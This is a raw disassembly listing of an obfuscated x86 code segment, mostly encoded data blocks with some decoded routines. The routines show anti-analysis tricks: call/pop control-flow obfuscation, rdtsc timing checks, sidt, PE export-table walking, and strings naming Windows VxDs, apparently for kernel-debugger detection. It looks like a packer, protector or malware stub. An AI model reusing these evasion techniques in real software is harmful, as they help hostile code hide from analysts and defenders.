51331800h, 36E4548Ah, 64C305C9h dd 0B79BD8Dh, 8B6007E9h, 0E91C1DB5h, 39E28007h, 6AAD61h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 75CBBFC3h, 60464968h, 0BCEB70Fh, 0E90FC1B5h, 0F9FC6107h dd 24247C81h, 10000000h, 0FD870Fh, 0B5890000h, 7E92F95h dd 76B16050h, 0C38B6660h, 61615F53h, 0F240489h, 685h, 0B1B58900h dd 8B07E924h, 6A282444h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 5F2DC357h, 0BD93F15h dd 0F9345C1h, 180h, 6090FC00h, 0FDD8A60h, 88h, 10E96100h dd 19000000h, 6E2C83F4h, 76BCF434h, 6F68EB99h, 618C36E1h dd 60525050h, 236DBA66h, 0F615951h, 28D0F31h, 60000000h dd 90585A61h, 3059BD01h, 858D07E9h, 7EC723Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A2C35242h, 8EA13EC1h dd 89604A62h, 0E92F8595h, 6AD0FF07h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0D271C356h dd 0F6B40F18h, 13E9A957h, 0B3000000h, 8D37DEEDh, 40407695h dd 2EC2A1AAh, 30C15CDAh, 3FCB6EFh, 0FC242444h, 0F526090h dd 83h, 13E85900h, 0E9000000h, 0C6E95AE2h, 1E82AE8Dh, 0FF5DBB31h dd 0D4DDB787h, 615F18F3h, 52506050h, 11E9h, 83B1F700h dd 8AAA5B9Bh, 9253685Fh, 0D192518Bh, 310FA1E5h, 585AF88Bh dd 6A9061h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 218E7EC3h, 2C20DEECh, 2E358D31h, 6AAB07E9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 97A8C357h, 0EDB67300h, 0F8017783h, 5E960h dd 579F0000h, 8B7E3408h, 0E91909BDh, 0BD8D6107h, 7E915CDh dd 6AADF9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0DD204C3h, 0CE7E1C51h, 247C8139h, 28h, 0E0870F10h dd 0F8000000h, 819D8B60h, 0E907E935h, 7 dd 324E9626h, 6129D05Dh, 60525050h, 0A96BA66h, 0BE9h, 0BCA30900h dd 6052F717h, 453C52BBh, 60310F61h, 109FC5BFh, 79CBBB4Ch dd 5A6105C4h, 24048958h, 0A840Fh, 2B600000h, 0E922A185h dd 615F5607h, 2C24448Bh, 12C9B529h, 0F5007E9h, 483h, 5E566000h dd 24048961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0C7C35747h, 2928E679h, 890F1992h, 6, 16DD9531h dd 858D07E9h, 7EC723Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0FDC35242h, 6AD0FFF9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7821C350h dd 0D38CD15Bh, 33DB767h, 6A282444h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 6D59C353h dd 0BBFD812Bh, 60605419h, 66C18B66h, 6141F8BEh, 2F85B58Bh dd 296107E9h, 0E91DA18Dh, 6AAB07h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0AF277AC3h, 0D3AC9D2Eh dd 820F0B87h, 0Ch, 7E9h, 0FB751400h, 7B7E1FEh, 0A38DFF5Eh dd 8307EC9Fh, 0EC9FA3BDh, 0A750007h, 0B58DC033h, 7ECAE39h dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h, 502C2444h dd 723A858Dh, 0D0FF07ECh, 28244403h, 8ADF8B97h, 0EC9F9F85h dd 74C08407h, 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah dd 66EBD166h, 973D8D1h, 50413566h, 49F38166h, 75CEFE54h dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h dd 74D03B5Ah, 0C6835E0Fh, 9D85FF04h, 0E907E90Eh, 0FFFFFF5Dh dd 56006A5Eh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0FA7FB11Bh, 8D01DCA7h, 7E9253Dh, 5E960h dd 28EA0000h, 8B27DE5Dh, 8BF961F8h, 0E90E9D85h, 68D0F07h dd 89000000h, 0E90331B5h, 0E9E0D107h, 5, 5B2631C3h, 0CD850377h dd 6A07E915h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 1231C351h, 1FC9A82h, 0E91B0995h dd 6AF62B07h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0A24FC356h, 0B59529A9h, 9607E91Ch dd 8589FC60h, 7E91671h, 15B58961h, 6607E90Fh, 55006AADh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0FFB9F68Eh, 0DE9A6C3h, 0D000000h, 883B5D1Fh, 41B2DCCBh dd 6A9B441Dh, 0F02E0C1h, 0C87h, 68A0F00h, 0F000000h, 82h dd 1850300h, 107E925h, 0E91AAD95h, 66F86007h, 0AACDE881h dd 6A9661h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 693A27C3h, 89C42FD4h, 0E911B5BDh, 6AAD07h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 9BBFE9C3h, 358D0107h, 8907E935h, 0E91DDD8Dh, 0B8E0F07h dd 60000000h, 1DFB70Fh, 0E91191B5h, 7C816107h, 2424h, 870F1000h dd 0CAh, 21019D31h, 850F07E9h, 0Ah, 958D2960h, 8B07E931h dd 0F5061DAh, 0A88h, 8B0F6000h, 0 ; --------------------------------------------------------------------------- pusha popa popa mov [esp], eax jmp loc_5BEB5A ; --------------------------------------------------------------------------- dec eax shr byte ptr [edx], 1 retn 65A9h ; --------------------------------------------------------------------------- db 18h ; --------------------------------------------------------------------------- loc_5BEB5A: ; CODE XREF: sdfs____:005BEB4Ej mov eax, [esp+28h] mov [ebp+7E91585h], eax push eax jns loc_5BEB74 pusha mov ebx, 64BD83BFh push ecx pop edx popa loc_5BEB74: ; CODE XREF: sdfs____:005BEB65j mov [esp], eax push 0 push edx call sub_5BEB82 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEB82 proc near ; CODE XREF: sdfs____:005BEB7Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5BEB82 endp ; --------------------------------------------------------------------------- dw 29D7h dd 72A530D7h, 87BE6009h, 5054159Eh, 5AC0BF0Fh, 6870F61h dd 9000000h, 0E91611B5h, 3A858D07h, 6A07EC72h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F4DC357h, 68Dh, 818D0900h, 3107E930h, 0E934518Dh, 89D0FF07h dd 0E907059Dh, 4403F807h, 89F82424h, 6A1C2444h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0D3D3C355h, 0F178EFCh, 1580h, 7E86000h, 0CD000000h dd 834B9CEBh, 895E3735h, 0E935498Dh, 81606107h, 0B1E3E7C3h dd 0F381665Bh, 0C6614D8Eh, 0E9265985h, 85C70007h, 7ECA14Eh dd 0 dd 9FA785C7h, 7ECh, 8B600000h, 0E91351B5h, 0CE807h, 0E5D60000h dd 54332D20h, 11BB35AFh, 9D298C99h, 7E90DCDh, 880F615Fh dd 16h, 11E9h, 4EDFE200h, 0F728B4D9h, 290F435Dh, 25D5F3FFh dd 89616013h, 0E901558Dh, 8C207h, 1858BF9h, 2907E925h dd 0E91AF1B5h, 6A4AF807h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 761DC356h, 4B715678h dd 6A04D26Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 47D2C356h, 7900DDCBh, 0F82BC1F9h dd 870FC203h, 6, 0E5BD01h, 8A0F07E9h, 0Eh, 840F60h, 31000000h dd 0E92E659Dh, 89966107h, 0E92B1D9Dh, 14E907h, 111B0000h dd 72683879h, 8D583F0Eh, 9B7F9880h, 0D43AE8C7h, 60ADB6A6h dd 7E9h, 448C5400h, 0C2A3E728h, 61E7F480h, 24247C81h, 10000000h dd 0DA870Fh, 0AE90000h, 0E1000000h, 0C22FE23Ch, 208D53Ch dd 870F901Ah, 25h, 0AE95250h, 9C000000h, 2349CFBDh, 0B501554Eh dd 0E9310F4Fh, 0Bh, 0F64E1245h, 140D6779h, 5A2B9E3Eh, 60605058h dd 310F5250h, 5250585Ah, 585A310Fh, 0F906161h, 0E86h, 0B5236000h dd 7E920DDh, 0E3DAF781h, 8B6171B6h, 0F282444h, 0B84h, 0EF806000h dd 618589E9h, 6107E934h, 18830F90h, 0E9000000h, 13h, 2EEF7815h dd 129F05DDh, 10921630h, 14C2979Ah, 50DFA005h, 0D08B6060h dd 99BF6661h, 0E99061EBh, 0Ah, 6BA75F2Fh, 971A6958h, 858DC642h dd 7EC723Ah, 10890Fh, 0BE90000h, 0BF000000h, 0C695DDFEh dd 0DEBF06A1h, 0D0FF9091h, 68C0Fh, 95890000h, 7E91655h dd 0FFFDB5E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0E57DE5E5h, 0DA093F45h dd 0E9F5C6FDh, 6, 8CD15B78h, 858D67D3h, 7ECB406h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 55C35343h, 0BEE2659Bh dd 751BD29h, 509007E9h, 50525052h, 5A310F52h, 0F310F58h dd 8Dh, 0F585A00h, 5E526031h, 50585A61h, 25890Fh, 52500000h dd 14E9h, 0C1029900h, 9862449Eh, 0DA1DA7F1h, 9CD61C29h dd 0E08D3844h, 50310FFFh, 5A310F52h, 90585A58h, 0F9BF0F60h dd 15C9B589h, 646107E9h, 35FFh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0CF15AFC3h dd 0B5894BB1h, 7E900A9h, 6850Fh, 8D090000h, 7E92FD5h, 6A24048Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0BFCDC353h, 55B5891Fh, 8907E926h, 0E9017985h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 95463E8Ch, 14E971h, 96C80000h, 0D9DF23E8h dd 7BE11A6Bh, 7A298084h, 32927872h, 896473B9h, 25h, 39850100h dd 8D07E926h, 0ECB25485h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 20444428h dd 0C6092352h, 8B0F492Dh, 0Ch, 6830Fh, 0B5890000h, 7E902F9h dd 89016089h, 0E92C6995h, 819D8907h, 0E907E935h, 205h dd 13E9h, 0D1212D00h, 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh dd 3C43DC0Ah, 0E8DB8Bh, 5D000000h, 0B24DED81h, 9CBC07ECh dd 830012FFh, 0E926A9BDh, 18740007h, 875858Bh, 0C607E9h dd 75858B00h, 0C607E91Ah, 95FF0000h, 7E9138Dh, 0ABB5FF60h dd 8D07EC9Bh, 0EC9BAF85h, 858D5007h, 7EC9DA7h, 0D595FF50h dd 8307E90Ah, 9610CC4h, 0E911C985h, 10E907h, 279D0000h dd 339AE408h, 5E71F3DBh, 85AF645Dh, 0B58D6A9Ah, 7EC9DA7h dd 8D61F860h, 0E90349BDh, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 7C2514A2h dd 3E80F8A9h, 52840F00h, 0F000000h, 0F86h, 0AE900h, 0BF6D0000h dd 8FD489FFh, 64068461h, 52006AA4h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0EBE97E6h, 5DD68F33h dd 71BD89ECh, 2907E91Eh, 0E9030D95h, 0FFACE907h, 800FFFFFh dd 1, 0B8F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9D3119C3h, 7E91171h, 33F960AAh dd 0E9264D8Dh, 7B86107h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0DE89C357h dd 0FE9h, 1A5F6C00h, 71EE552Dh, 3B3FA7F3h, 54C64E22h, 231985C7h dd 107E9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0B39DFFC3h, 0A0ABC89Ah, 8D8DF5C5h dd 7E94D5Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 9CC35646h, 840FE1FFh, 8, 66D78B60h, 61B71AB8h dd 0C245C8Bh, 0E855h, 815D0000h, 0ECB410EDh, 0B8838B07h dd 89000000h, 0EC9BAB85h, 46858D07h, 8907ECB2h, 0B883h dd 0C0335D00h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 27687332h, 13E92Dh, 8B090000h dd 61755AE6h, 3B13E632h, 0CFD44996h, 0BC564D06h, 53006A58h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8929F53Bh, 0E92A0985h, 6A6007h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 893490C3h, 0E902FD95h dd 81858D07h, 0F807ECB6h, 0AD8D89h, 505007E9h, 138D0F52h dd 0E9000000h, 0Eh, 3401722Dh, 30148F41h, 335D27D8h, 310F4E04h dd 66FA8B60h, 612318B9h, 489585Ah, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 3792C7B5h dd 3870C3B1h, 0C598D01h, 0B58907E9h, 7E90C91h, 35FF64h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0B3CBC351h, 0B88D8008h, 0A5833B8Eh dd 1830Fh, 64FC0000h, 2589h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 120477C3h dd 54D8E7F7h, 0B6F0858Dh, 6A07ECh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 89FC07C3h, 5E90160h dd 57000000h, 0ACDDFF73h, 265985C6h, 6A4F07E9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 1B64C350h, 8B607604h, 28DE80D7h, 4E861h, 742A0000h dd 0B360FEC8h, 28B0FE5h, 60000000h, 50506161h, 10E952h dd 4A6F0000h, 4BF4414Bh, 760AE3Bh, 7301EB40h, 310FC061h dd 52505250h, 585A310Fh, 6160310Fh, 585A585Ah, 424448Bh dd 61C78B60h, 5250008Bh, 0C78B6660h, 60310F61h, 5A615951h dd 24448958h, 0AE96004h, 4D000000h, 36F52603h, 2A589678h dd 6A58611Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 50DCC353h, 0B5FFC2CFh, 7E90B11h dd 2EC9BD89h, 858D07E9h, 7EC9FDBh, 89D0FFF8h, 0E92591B5h dd 70E907h, 8BF50000h, 550C245Ch, 0E8h, 0ED815D00h, 7ECB68Bh dd 2669858Bh dd 858907E9h, 7E90B11h, 16B5858Bh, 858907E9h, 7E90115h dd 347D858Bh, 858907E9h, 7E91EE1h, 265985C6h, 0C70007E9h dd 0ECA14E85h, 7, 0F0858D00h, 8907ECB6h, 0B883h, 0C0335D00h dd 0C78160C3h, 13B8F489h, 574EABAh, 0B5316177h, 7E92B49h dd 26058589h, 74BC07E9h, 6A0012FFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 3422C355h dd 0EF0C7728h, 58F64h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 28ABC356h dd 20F8DE34h, 836D46C6h, 6A04C4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0F8F9CEC3h, 6E99E35h dd 60000000h, 460F580h, 83E961A5h, 53000000h, 57565251h dd 1C245C8Bh, 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h dd 3B8166D8h, 850F4550h, 57h, 3785B8Bh, 8B1C245Ch, 74032473h dd 8B561C24h, 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h dd 5C8B41FFh, 178B1C24h, 20245403h, 8A04C783h, 74C08402h dd 75033A08h, 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh dd 386048Bh, 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h dd 0CA8BFFFFh, 6E8h, 4B28C800h, 0E8211BEFh, 0Bh, 43945E96h dd 0D1239AB4h, 81D17684h, 9BDBADF7h, 0E95B594Ch, 11h, 378A720Ch dd 93EB3A99h, 0DDD2343Ch, 0C0A36D01h, 0F4C38139h, 0E9000073h dd 12h, 0AEB4A762h, 79BC2D8Bh, 3D5ED17Dh, 0EB5558F7h, 0F62BC604h dd 0DE8h, 0A10D2200h, 33605A03h, 228E6139h, 0FF58CFA3h dd 73BF1E34h, 5A7713E3h, 0F2815953h, 4F0D8B80h, 28C0Fh dd 0EF8A0000h, 229BEA81h, 0F88B17BEh, 0CCE6C281h, 13E93BF4h dd 0AB000000h, 0A84A3ABEh, 655F58Fh, 3DEDE02Bh, 7EDF5284h dd 8B52CE2Fh, 33048FC1h, 7D64B956h, 575F75A9h, 0EE835FF5h dd 81CA8B04h, 0FF8CD0FEh, 0A0850FFFh, 0B4FFFFFFh, 4934EBB8h dd 474D5346h, 56202052h, 2020444Bh, 56202020h, 20204D4Dh dd 56202020h, 334E4957h, 56202032h, 444C4458h, 202052h dd 2 dup(0) dd 0E9000000h, 6DEh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0D5C35040h, 0E9E9B009h, 14h, 753E2D8Dh dd 9E79CF6Dh, 36D2EF4Ch, 5216F03Fh, 2567A189h, 0BE960h dd 0A8020000h, 0C5B98C77h, 0DAE12B8Dh, 0F185C765h, 7ECB8h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 7F13C351h, 830FF5ECh, 1Eh, 11E960h dd 0EFA90000h, 52338349h, 4096D0C4h, 363580A0h, 81C7F1B8h dd 0E95A90C1h, 0C68B611Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0EFC35141h, 0ED5B6489h, 870F6016h, 11h dd 0BE8h, 0B28B8500h, 6EEF3886h, 0A9D1EEF5h, 5BF5565Eh dd 8B666061h, 58A0FFAh, 66000000h, 0CC6AF081h, 0D8B70F61h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6C35141h dd 0C1B07F47h, 6E910E8h, 0F8000000h, 0AFEA613Dh, 0C8C166EBh dd 52006A08h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 325BC362h, 89F98908h, 0ECB8F585h, 0CC8A6007h dd 0C16661F5h, 6A08CBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 2D2B69C3h, 5497CCDCh, 0E9F823B3h dd 0Fh, 0E86D0468h, 0AAE95620h, 0FF9CDF80h, 83D8818Ch dd 850F40FBh, 50h, 0C9BD8DFCh, 6A07ECB8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0FEEBC350h dd 0FAA8AF51h, 0A75C00DAh, 11E9h, 0F978DF00h, 0EB3224F2h dd 0D47B91CBh, 0EC3A5081h, 66607909h, 8B66C78Bh, 64E961D9h dd 0FC000001h, 0F0DFB83h, 5985h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 14E9602Ch dd 7A000000h, 9B9ABCF8h, 9E2DED10h, 41BCD5D8h, 0E76F3EC7h dd 0B5372300h, 8DF96128h, 0ECB8D1BDh, 14E9FC07h, 60000001h dd 2810Fh, 61600000h, 3820Fh, 0B70F0000h, 0FB8361FFh, 6A850F01h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 8E53C356h, 0AE99Ch, 70F70000h dd 462994ACh, 345BED1Eh, 0D9BD8DF9h, 0F07ECB8h, 98Ah, 0E0BE6000h dd 8B0CE23Fh, 0B0E961DAh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 234FC350h dd 0FCF83AB4h, 2AFB83FCh, 20850Fh, 8DF90000h, 0ECB8E1BDh dd 18A0F07h, 0F9000000h, 72E9h, 8E900h, 75D0000h, 0C34DF577h dd 0FB83E0ECh, 8F850F27h, 6A000002h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 72F9C352h dd 6850F75h, 60000000h, 80E080FCh, 0E9BD8D61h, 6A07ECB8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0DEA4C350h, 17D9C3A8h, 579785EAh, 1860Fh dd 89F90000h, 0ECB8F9BDh, 0EE9FC07h, 14000000h, 347A839Ah dd 58804D60h, 2D76F864h, 0C88C66B9h, 12E9h, 70BA4600h dd 3721DBA9h, 7CC040F6h, 8A29703Ah, 241B891Ch, 51006A03h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0AC090EFh, 4D850FC0h, 0F9000001h, 0BEB3B58Dh, 6A07ECh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 47C6AC3h, 8BE3E081h, 0ECBF3E85h, 0FE96007h, 2D000000h dd 993A3745h, 346AED67h, 1DB4AC10h, 0BE669619h, 92616025h dd 60D48A60h, 0BA666160h, 6161A432h, 0F525050h, 28Ah, 0F616000h dd 2860F31h, 60000000h, 92585A61h, 4C010FF9h, 6AFE24h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 5107D7C3h, 0DE9A856h, 0E3000000h, 64FAEA6Ah, 85F14692h dd 0C85ADBACh, 0DE95Ah, 21740000h, 16970E9Ah, 7481103Fh dd 83B9E6F8h, 6A24C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 66FCB4C3h, 0E9FC7289h, 14h, 9D562C8Bh dd 193F55C4h, 83679FC0h, 7190E631h, 0F436197Dh, 0F910CEC1h dd 2728966h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0ACC35343h, 5723E0C1h, 0F944DACh, 182h, 4CDF500h dd 6E9F9h, 66890000h, 2177A38Ah, 81E9h, 0DE900h, 0AA020000h dd 0CDFFE3EBh, 102624E6h, 0F892444Eh, 0BF3E858Bh, 0F6007ECh dd 61F8D9B7h, 0BEB3B58Dh, 6A07ECh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 81E650C3h, 0B70F6072h dd 68C0FFAh, 81000000h, 9FE00C6h, 858D611Bh, 7EC7789h dd 6AD0FFF8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0C349C356h, 54AC3008h, 858988B6h dd 7ECB8F1h, 11E9h, 55B04500h, 42CFD013h, 0BF6A264Eh, 0ADF27852h dd 0E961072Fh, 0Ah, 8C4DB4DCh, 4E57A56Fh, 858BFEA1h, 7ECB8F1h dd 0FE960h, 0BDBD0000h, 0BC82D4E6h, 6A1A0AC4h, 0F44BEF3Bh dd 0DAB70F05h, 60F8C361h, 0E51EB866h, 3FE18153h, 5A272ECDh dd 870F6061h, 17h, 12E9h, 88E14900h, 0E6B1B0A1h, 25238E10h dd 0D0636451h, 837DEA3Fh, 0ECBF3EBDh, 850F0007h, 34h, 6E9h dd 0C7BDE400h, 0C72BBEAAh, 0ECBF3E85h, 1013F07h, 14E96000h dd 2A000000h, 6D934A07h, 68A25CCDh, 3D3CEABCh, 1EC6281Dh dd 66B46A6Dh, 61C50BBBh, 25E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0A98DA3E8h dd 63366E1Eh, 20CDFC6Ah, 0 ; --------------------------------------------------------------------------- loc_5BFCFC: ; CODE XREF: sdfs____:005BFD35j or eax, eax jz short loc_5BFD37 lea esi, [eax+0Ch] mov edi, [ebp+7ECB8F9h] mov ecx, 8 loc_5BFD0E: ; CODE XREF: sdfs____:005BFD12j cmpsb jnz short loc_5BFD33 dec ecx jnz short loc_5BFD0E mov ecx, [eax+30h] mov ebx, [ebp+7ECB8F5h] cmp ebx, [eax+34h] jg short loc_5BFD37 mov edx, ebx imul edx, 4 add ecx, edx loc_5BFD29: ; CODE XREF: sdfs____:005BFD66j mov eax, [ecx] mov [ebp+7ECB8F1h], eax jmp short loc_5BFD37 ; --------------------------------------------------------------------------- loc_5BFD33: ; CODE XREF: sdfs____:005BFD0Fj mov eax, [eax] jmp short loc_5BFCFC ; --------------------------------------------------------------------------- loc_5BFD37: ; CODE XREF: sdfs____:005BFCFEj ; sdfs____:005BFD20j ... popa mov eax, [ebp+7ECB8F1h] iret ; --------------------------------------------------------------------------- push 0 push edx call sub_5BFD4A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFD4A proc near ; CODE XREF: sdfs____:005BFD42p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5BFD4A endp ; --------------------------------------------------------------------------- aad 0BEh mov esp, 8ECC4560h jmp loc_5BFD74 ; --------------------------------------------------------------------------- jle short loc_5BFD29 inc edx shr byte ptr [esi+0], 0A0h inc eax retf 9F94h ; --------------------------------------------------------------------------- db 0EBh, 6, 51h ; --------------------------------------------------------------------------- loc_5BFD74: ; CODE XREF: sdfs____:005BFD61j push 0 push eax call sub_5BFD7F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFD7F proc near ; CODE XREF: sdfs____:005BFD77p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5BFD7F endp ; --------------------------------------------------------------------------- db 43h dd 9490A37Dh, 234591ADh, 0C08BF9AAh, 13E8h, 0E9EAB00h dd 96D8C9D3h, 5DADA8F8h, 0ECA2B831h, 0A67F8D51h, 0DF8B6660h dd 5E61FA8Bh, 0AA7B8CB9h, 7EC68156h, 66000071h, 8151D181h dd 68h, 1B830F00h, 0E8000000h, 12h, 5599F81Dh, 3D193232h dd 0CCC16018h, 0B2BA78CAh, 0B70FC05Fh, 0E95A5BDAh, 9, 8A748BC7h dd 130B4379h, 3234FF0Eh, 6840Fh, 0C8810000h, 0F47F6CCh dd 4CDBB85Fh, 0C7816767h, 5BF0B557h, 0EF81C38Bh, 3DA0D20Ch dd 0ECA2BB66h, 12CFEF81h, 0F1B35679h, 4820F57h, 66000000h dd 8F42C3B8h, 0CE8A1604h, 8104EA83h, 0FF8F34FAh, 0B2850FFFh dd 0FFFFFFFh, 28Fh, 0E91EB300h, 109h, 21C0DFE3h, 8A055C97h dd 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 171E577Dh dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh, 20602060h dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h dd 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 0E0A1E35h, 5D340700h, 59A0A3D2h dd 1Eh, 8 dup(0) dd 0CC4E900h, 0BD680000h, 0E907ECC3h, 0FFFCBA0Ah, 0ECC4C468h dd 0BA00E907h, 0AD68FFFCh, 0E907ECC5h, 0FFFCB9F6h, 0ECC69568h dd 0B9ECE907h, 2868FFFCh, 0E907ECC7h, 0FFFCB9E2h, 0ECC7DC68h dd 0B9D8E907h, 2068FFFCh, 0E907ECC9h, 0FFFCB9CEh, 0ECCA4B68h dd 0B9C4E907h, 1D68FFFCh, 0E907ECCBh, 0FFFCB9BAh, 0ECCC1568h dd 0B9B0E907h, 0BC68FFFCh, 0E907ECCCh, 0FFFCB9A6h, 38B5C754h dd 7302789Ch, 0A04D2FC1h, 179E1C74h, 49E490A5h, 0D77A56D3h dd 75AC08A5h, 3DD27EF7h, 0F406B243h, 1882EB8Ah, 70032969h dd 0F3D1EB28h, 0ED6A04Ah, 0DD15342h, 0E90DAC40h, 6A56AD5Ch dd 49A18A91h, 0F8A9CF6Dh, 305C74B8h, 22B44A58h, 1AEA94BAh dd 0A5DA088h, 54EE78EFh, 0CA1A9888h, 8715978Eh, 6647DAABh dd 356F37B5h, 600C0AA3h, 966E0C20h, 3DE3790Ch, 